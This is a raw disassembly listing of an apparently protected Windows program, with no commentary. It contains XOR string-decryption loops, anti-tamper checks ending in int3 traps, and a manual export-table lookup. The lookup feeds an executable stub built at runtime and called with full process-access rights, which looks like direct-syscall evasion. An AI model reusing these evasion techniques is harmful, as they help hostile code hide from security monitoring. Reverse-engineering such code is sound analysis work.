cmp rax, rsi
jne 0x14006e22b
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e20b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e20b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e22b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e2e6
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e2c6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e2c6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e2e6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
call fcn.1400d8150
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14007a3fc
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e3b0
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e390
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e390
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e3b0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
mov r8d, 0xda6f55
cmp rax, rsi
jne 0x14006e46f
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e44f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e44f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e46f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e528
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e508
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e508
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e528
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e5d2
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e5b2
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e5b2
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e5d2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e68b
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e66b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e66b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e68b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e73c
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e71c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e71c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e73c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e7f5
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e7d5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e7d5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e7f5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140079994
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e8c7
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e8a7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e8a7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e8c7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14006ebbd
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e98e
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ec75
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ec75
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14006ec75
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.1400699b8
mov r15d, eax
mov rcx, qword gs:[0x49]
movabs r8, 0x3c3fd7c40c92e260
cmp rcx, rsi
jne 0x14006ea44
mov rcx, qword gs:[0x38]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x38]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x38]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14006ec95
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14006ec95
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14006ec95
test r15d, r15d
jne 0x14006ecf5
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006eae9
mov rax, qword gs:[0x38]
mov r15d, 0x3df3a125
xor rax, r15
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14006ecb5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14006ecb5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14006ecb5
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006eb9d
mov rax, qword gs:[0x38]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x38]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x38]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14006ecd5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14006ecd5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14006ecd5
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14006e8e5
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x140078887
mov rax, qword gs:[0x38]
movabs rcx, 0x3c3fd7c40c92e260
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ec55
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ec55
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078887
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400df118
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x5637d0c5
mov dword [rbp + 0x214], 0x4de85e31
mov dword [rbp + 0x218], 0xaa0ea349
mov word [rbp + 0x21c], 0xb2
mov r8, r14
movabs rbx, 0x8080808080808081
mov esi, 0xb7616ee1
movabs r9, 0x94ff2a17a
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x129fe542f4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r13
add r10, 0xd
cmp r9, r11
jb 0x14006ed93
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x8e213b
mov dword [rbp + 0x84], 0x8561cc22
mov word [rbp + 0x88], Ordinal_200
mov r8, r14
movabs r9, 0x6726ce5f2
mov r10d, 9
movabs r11, 0xce4d9cbe4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r13
add r10, 9
cmp r9, r11
jb 0x14006ee31
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14006f0ba
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14006f0ba
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14006f0ba
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14006f0ba
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14006f0ba
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14006ef2c
inc rax
test edi, edi
jne 0x14006ef17
test r8d, r8d
je 0x14006ef3e
inc rdx
cmp rdx, rsi
jb 0x14006ef06
jmp 0x14006f0ba
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14006f0ba
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14006f0b7
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400d8150
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14007a3fc
lea rcx, [rbp + 0x7420]
call fcn.140079994
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140079994
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006efcc
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.140101bd0
mov dword [0x140152424], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x140152420]
movsd qword [rdi], xmm0
movzx eax, word [0x140152428]
mov word [rdi + 8], ax
mov al, byte [0x14015242a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.140102270
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140152424], r14d
test edi, edi
js 0x14006f0cd
jmp 0x14006f0ba
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14006f0e3
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140069488
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x35f6738
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x49]
ja 0x1400784f7
cmp rax, rbx
jne 0x14006f1b2
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006f192
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006f192
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006f1b2
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139a00]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x140139ab0]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0xf4febc5f
mov word [rbp + 0xbc4], 0xab44
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
lea esi, [rax + 1]
mov ebx, 0xb7616ee1
movabs r9, 0x1b3876758c
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
add r8, rsi
add r9, r13
add r10, 0x26
movabs rax, 0x3670eceb18
cmp r9, rax
jb 0x14006f210
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140010f6c
mov rax, qword gs:[0x49]
mov ebx, 0x35f6738
mov r15d, 0x3df3a125
cmp rax, rbx
jne 0x14006f33f
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006f31f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006f31f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006f33f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400df118
int3
call fcn.1400696e8
mov rcx, qword gs:[0x49]
test al, al
jne 0x14006f6e7
cmp rcx, rbx
jne 0x14006f409
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006f3e9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006f3e9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006f409
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], si
mov r10, r14
movabs r8, 0xc2d785d02
mov r11, r12
movabs r9, 0x185af0ba04
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov edi, 0xb7616ee1
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
add r10, rsi
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14006f444
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x140139bd0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1401399d0]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov ebx, 0xb7616ee1
mov r9d, Ordinal_33
movabs r10, 0x1634cc6d5e
mov r15d, 0x3df3a125
movabs r11, 0x8080808080808081
movabs r12, 0x2c6998dabc
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xaf8]
xor dil, r8b
mov byte [rbp + r8 + 0xaf8], dil
add r8, rsi
add r10, r13
add r9, 0x1f
cmp r10, r12
jb 0x14006f4fb
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x49]
mov ebx, 0x35f6738
cmp rax, rbx
jne 0x14006f639
mov rax, qword gs:[0x38]
movabs rcx, 0x3c3fd7c40c92e260
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006f619
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006f619
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006f639
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rbx
jne 0x140078e8b
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006f6c7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006f6c7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078e8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
cmp rcx, rbx
jne 0x14006f788
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006f768
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006f768
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006f788
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139bb0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
mov ebx, 0xb7616ee1
movabs r9, 0xb7616ee20
lea r10d, [rax + 0x10]
movabs r11, 0x16ec2ddc40
movabs r15, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
add r8, rsi
add r9, r13
add r10, 0x10
cmp r9, r11
jb 0x14006f7ca
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.1400694d8
mov rcx, qword gs:[0x49]
mov ebx, 0x35f6738
cmp rcx, rbx
jne 0x14006f8fb
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
